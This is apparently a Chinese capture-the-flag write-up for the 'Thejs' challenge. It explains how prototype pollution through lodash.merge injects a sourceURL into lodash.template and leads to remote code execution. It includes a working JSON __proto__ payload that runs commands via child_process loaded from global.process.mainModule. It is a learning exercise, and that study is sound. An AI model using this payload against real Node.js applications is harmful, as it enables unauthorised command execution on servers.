寒假training-3
Thejs
参考:
https://www.freebuf.com/vuls/363700.html
https://blog.csdn.net/xk2844600795/article/details/132073747

源码
1 | app.engine('ejs', function (filePath, options, callback) { // define the template engine |
1、lodash.merge 函数存在原型链污染漏洞
2、lodash.template 源码


option 对象原本是没有 sourceURL 属性,
sourceURL = ‘’可以通过原型链污染给源头 object 对象加上一个 sourceURL 属性,此时
sourceURL = '//# sourceURL=' + option.sourceURL + '\n'Function 构造器 、 apply 方法
执行 Function 的第二个参数

通过题目源码可知,可以在 POST 提交的 body 中加上想要的__proto__ ,从而在定义模板引擎时执行代码
payload
1 | sourceURL = '//# sourceURL=' + option.sourceURL + '\n' |
在
Nodejs中child_process中调用的是/bash.sh,是一个bash解释器,可以执行系统命令,构造require('child_process').exec(xxx)执行命令。如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用
global.process.mainModule.constructor._load('child_process').exec('calc')来执行命令。
1 | {"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').exec('xxx')//"}} |
又为了让__proto__解析为键名,需要以 JSON 的形式发送

- Author: dawn_r1sing
- Created at : 2024-04-07 11:09:33
- License: This work is licensed under CC BY-NC-SA 4.0.(转载请注明出处)